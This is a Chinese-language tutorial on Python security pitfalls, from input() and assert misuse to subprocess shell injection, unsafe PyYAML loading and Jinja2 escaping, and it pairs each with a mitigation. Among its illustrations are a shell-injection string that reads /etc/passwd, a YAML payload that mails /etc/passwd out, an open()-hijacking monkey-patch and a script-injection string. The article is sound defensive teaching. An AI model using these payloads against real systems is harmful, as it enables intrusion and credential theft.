在 python2 大量的内置函数中,input() 函数是一个很大的安全隐患,它在标准输入流中获取到的任何内容,都会作为 python 代码执行
λ python2
>>> input()
dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> input()
__import__('sys').exit()
λ
显然,除非脚本在标准输入流获取的数据受到完全信任,否则永远不能使用 input() 函数。在 python2 中建议使用 raw_input() 作为安全的替代方案。在 python3 中的 input() 等同于 raw_input(),从而永久修复了这个隐患。
不要使用 assert 语句来防止用户不应该访问的代码片段。在将源代码编译为优化的字节码 (例如 python -O) 时,python不会为 assert 语句生成任何指令。这就无声的消除了对代码片段的保护。
class User: def __init__(self, is_admin): self.is_admin = is_admin user = User(0); def foo(user): assert user.is_admin, "user does not have access" print("# code......") foo(user)
在执行 python -O test.py
时,输出如下
# code......
assert 语句是为了测试设计的,在生产环境不要使用。
Python 中一切都是对象。 每个对象都有一个唯一的标识,可以通过 id() 函数读取。要确定两个变量或属性是否指向同一对象,可以使用 is 运算符。
在 python2 中存在这样一个问题
>>> 999+1 is 1000
False
>>> 1+1 is 2
True
is 运算符可用于两个对象的标识,但是它不会比较它们的数值或任何其他值。在 python3 中这个问题得到了解决。在 python2 中从不使用 is 运算符进行值比较。 is 运算符是被设计为专门处理对象标识。
由于固有的有限精度以及十进制数与二进制分数表示法之间的差异,使用浮点数可能会变得复杂。一个常见现象是,浮点比较有时可能会产生意外的结果。
>>> 2.2*3.0 == 3.3*2.0
False
这是在 python 2 和 3 中都存在的问题,上述现象的原因确实是舍入错误
>>> (2.2 * 3.0).hex()
'0x1.a666666666667p+2'
>>> (3.3 * 2.0).hex()
'0x1.a666666666666p+2'
还有一个有趣的现象,python 中的 float 支持无限大的概念
>>> 10**1000000 > float('infinity')
False
这里最好的解决方法就是使用整数算法。或者是使用 decimal 模块,它使用户免受烦人的细节和危险缺陷的影响。当基于算术运算的结果做出重要决策时,必须注意不要成为舍入误差的受害者。
Python 不支持对象属性隐藏。但是,python 可以通过双下划线的方式来实现隐藏。
尽管对属性名称的更改仅发生在代码中,但是硬编码为字符串常量的属性名称保持不变。当双下划线的属性从 getattr()/hasattr() 函数 "隐藏" 时,这可能导致混乱的行为。
class X(object): def __init__(self): self.__private = 1 def get_private(self): return self.__private def has_private(self): return hasattr(self, '__private') x = X() print(x.has_private()) print(x.get_private()) print(dir(x))
输出结果是,可以看到 x 有一个 _X__private
属性,其值为 1
False
1
['_X__private', ......]
再来看这样一段代码
class X(object): def __init__(self): self.__private = 1 def get_private(self): return self.__private def has_private(self): return hasattr(self, '__private') x = X() print(x.has_private()) print(x.get_private()) print(dir(x)) x.__private = 2 print(x.has_private()) print(x.get_private()) print(dir(x))
输出结果为
False
1
['_X__private', ......]
True
1
['_X__private', '__private', ......]
如果程序员依靠双下划线的属性在代码中做出重要决定而又不注意私有属性的不对称行为,则这些怪癖可能会变成安全漏洞。
Python模块导入系统功能强大且复杂。可以通过 sys.path 列表定义的搜索路径中找到的文件或目录名称导入模块和软件包。搜索路径初始化是一个复杂的过程,也取决于 Python 版本,平台和本地配置。为了对 Python 应用程序发起成功的攻击,攻击者需要找到一种方法,将恶意的 Python 模块走私到目录或可导入的包文件中,Python在尝试导入模块时会考虑该目录或可导入的包文件。
解决方案是对搜索路径中的所有目录和程序包文件保持安全的访问权限,以确保非特权用户对其不具有写访问权限。Python 解释器的初始脚本所在的目录会自动插入搜索路径中。
如下脚本揭示了实际的搜索路径
>>> import sys
>>> import pprint
>>> pprint.pprint(sys.path)
['',
'/usr/lib/python35.zip',
'/usr/lib/python3.5',
'/usr/lib/python3.5/plat-x86_64-linux-gnu',
'/usr/lib/python3.5/lib-dynload',
'/usr/local/lib/python3.5/dist-packages',
'/usr/lib/python3/dist-packages']
在 Windows 平台上,会将 Python 进程的当前工作目录注入搜索路径。 在 UNIX 平台上,只要从 stdin 或命令行读取程序代码 (-c 或 -m) ,就会将当前工作目录自动插入 sys.path 中
为了减轻模块从当前工作目录注入的风险,建议在 Windows 上运行 Python 或通过命令行传递代码之前,先将目录显式更改为安全目录。搜索路径的另一个可能来源是 $PYTHONPATH 环境变量的内容。另外一个防止模块注入的措施是 Python 解释器的 -E 选项,它可以忽略 $PYTHONPATH 变量
import 语句实际上导致了要导入的模块中代码的执行。这就是为什么即使导入不信任的模块或软件包也有风险的原因。
比如如下的代码
λ cat code_exec.py
import os
import sys
os.system('whoami')
del sys.modules['code_exec']
λ python3
>>> import code_exec
desktop-2u803dr\peri0d
......
KeyError: 'code_exec'
结合 sys.path 进行注入攻击,它可能为进一步利用系统铺平道路。
运行时更改 Python 对象属性的过程称为 Monkey patching。作为一种动态语言,Python完全支持运行时程序自省和代码变异。一旦恶意模块以一种或另一种方式导入,任何现有的可变对象都可能在未经程序员同意的情况下被愚蠢地修改。
$cat nowrite.py import builtins def malicious_open(*args, **kwargs): if len(args) > 1 and args[1] == 'w': args = ('/dev/null',) + args[1:] return original_open(*args, **kwargs) original_open, builtins.open = builtins.open, malicious_open
如果上面的代码由Python解释器执行,则写入文件的所有内容都不会存储在文件系统中。而在Python 3中,对True和False的赋值将不起作用,因此无法以这种方式进行操作。
>>> __builtins__.False, __builtins__.True = True, False >>> True False >>> int(True) 0
函数是Python中的一级对象,它的代码对象通过__code__属性访问,该属性当然可以修改
>>> import shutil >>> >>> shutil.copy <function copy at 0x7f30c0c66560> >>> shutil.copy.__code__ = (lambda src, dst: dst).__code__ >>> >>> shutil.copy('my_file.txt', '/tmp') '/tmp' >>> shutil.copy <function copy at 0x7f30c0c66560> >>>
一旦应用了以上的Monkey patching,尽管shutil.copy函数仍然看起来很健全,但由于设置了no-op lambda函数代码,它默默地停止了工作。
Python对象的类型由__class__属性确定。 攻击者可能会通过改变活动对象的类型来进行攻击
>>> class X(object): pass ... >>> class Y(object): pass ... >>> x_obj = X() >>> x_obj <__main__.X object at 0x7f62dbe5e010> >>> isinstance(x_obj, X) True >>> x_obj.__class__ = Y >>> x_obj <__main__.Y object at 0x7f62dbe5d350> >>> isinstance(x_obj, X) False >>> isinstance(x_obj, Y) True >>>
Python 作为一种胶水语言,Python 脚本通过要求操作系统执行它们来将系统管理任务委托给其他程序是很普遍的。subprocess 模块为此类任务提供了易于使用的高级服务。
>>> from subprocess import call >>> unvalidated_input = '/bin/true' >>> call(unvalidated_input) 0 >>>
但是有一个问题。要使用 UNIX shell 服务(例如命令行参数扩展),应将 call 函数的shell 关键字参数设置为True。然后将调用函数的第一个参数原样传递给系统 shell ,以进行进一步的解析和解释。 一旦未经验证的用户输入到达调用功能(或子流程模块中实现的其他功能),便会产生漏洞。
>>> from subprocess import call >>> unvalidated_input = '/bin/true' >>> unvalidated_input += '; cut -d: -f1 /etc/passwd' >>> call(unvalidated_input, shell=True) root daemon bin sys sync games man lp mail news ...... 0
通过将 shell 关键字保留为默认的 False 状态并将命令向量及其参数提供给子进程函数,不调用 UNIX shell 来执行外部命令显然要安全得多。在第二种调用形式中,shell既不解释也不扩展命令或其参数
>>> from subprocess import call
>>> call(['/bin/ls', '/'])
bin etc initrd.img.old lost+found opt run sys var
boot home lib media proc sbin tmp vmlinuz
dev initrd.img lib64 mnt root srv usr vmlinuz.old
0
如果应用程序的性质决定了使用 UNIX Shell 服务,则彻底清除子进程中的所有内容以确保恶意用户不会利用不需要的Shell功能是绝对重要的。在较新的 Python 版本中,可以使用标准库的 shlex.quote
函数完成 shell 转义
尽管基于对临时文件的不当使用的漏洞攻击了许多编程语言,但它们在Python脚本中很常见。
这种漏洞利用了不安全的文件系统访问权限,可能涉及中间步骤,最终导致数据机密性或完整性问题。有关该问题的详细说明,请参见CWE-377。
幸运的是,Python在其标准库中增加了 tempfile 模块,该模块提供了高级功能,可以 "以尽可能最安全的方式" 创建临时文件名。当心有缺陷的 tempfile.mktemp 库,由于向后兼容的原因,该实现仍存在于库中。绝对不能使用tempfile.mktemp函数,而是使用 tempfile.TemporaryFile 或 tempfile.mkstemp(如果您需要临时文件在关闭后保留)。
另一种造成漏洞的可能方式是使用 shutil.copyfile 函数。这里的问题是目标文件是以最不安全的方式创建的。
开发人员可能会考虑先将源文件复制到随机的临时文件名,然后将临时文件重命名为其最终名称。如果将其用于执行重命名,则可以通过 shutil.move 函数使其变得不安全。如果临时文件是在最终文件所在的文件系统以外的文件系统上创建的,shutil.move将无法通过 os.rename 移动它,并且会静默地求助于不安全的 shutil.copy 。由于 shutil.copy 无法复制所有文件元数据而可能导致进一步的复杂性,从而可能使创建的文件不受保护。
目前存在许多数据序列化技术,其中Pickle专为对Python对象进行反序列化而设计。它的目标是将活动的Python对象转储到八位字节流中以进行存储或传输,然后将其重构回可能的另一个Python实例。 如果篡改了序列化的数据,则重建步骤具有固有的风险。 Pickle的不安全性在Python文档中得到了很好的认识并得到了明确记录。
作为一种流行的配置文件格式,YAML不一定被认为是能够欺骗解串器执行任意代码的强大序列化协议。但是,事实上 python中实现 YAML 的默认库 PyYAML 是存在风险的。
>>> import yaml
>>>
>>> dangerous_input = """
... some_option: !!python/object/apply:subprocess.call
... args: [cat /etc/passwd | mail [email protected]]
... kwds: {shell: true}
... """
>>> yaml.load(dangerous_input)
{'some_option': 0}
建议的解决方案是始终使用 yaml.safe_load 来处理您不信任的YAML序列化。
Web应用程序作者很早以前就采用Python。在过去的十年中,已经开发了许多Web框架。他们中的许多人利用模板引擎从模板和运行时变量生成动态Web内容。除了Web应用程序之外,模板引擎还进入了完全不同的软件中,例如Ansible IT自动化工具。
从静态模板和运行时变量呈现内容时,存在通过运行时变量进行用户控制的代码注入的风险。对Web应用程序成功发起的攻击可能会导致跨站点脚本漏洞。服务器端模板注入的通常解决措施是在将模板变量插值到最终文档之前对其进行清理。可以通过拒绝,剥离或转义任何给定标记或其他特定于域的语言的特殊字符来进行清理。
不幸的是,模板引擎似乎不默认使用转义机制
>>> from jinja2 import Environment
>>>
>>> template = Environment().from_string('')
>>> template.render(variable='<script>do_evil()</script>')
'<script>do_evil()</script>'
如果使用转义机制
>>> from jinja2 import Environment
>>>
>>> template = Environment(autoescape=True).from_string('')
>>> template.render(variable='<script>do_evil()</script>')
'<script>do_evil()</script>'
另一个复杂之处是,在某些案例中,程序员不希望清理所有模板变量,有意地保留其中一些保留潜在危险内容的模板。 模板引擎通过引入 "过滤器" 来满足程序员的需求,使程序员可以明确地清理各个变量的内容。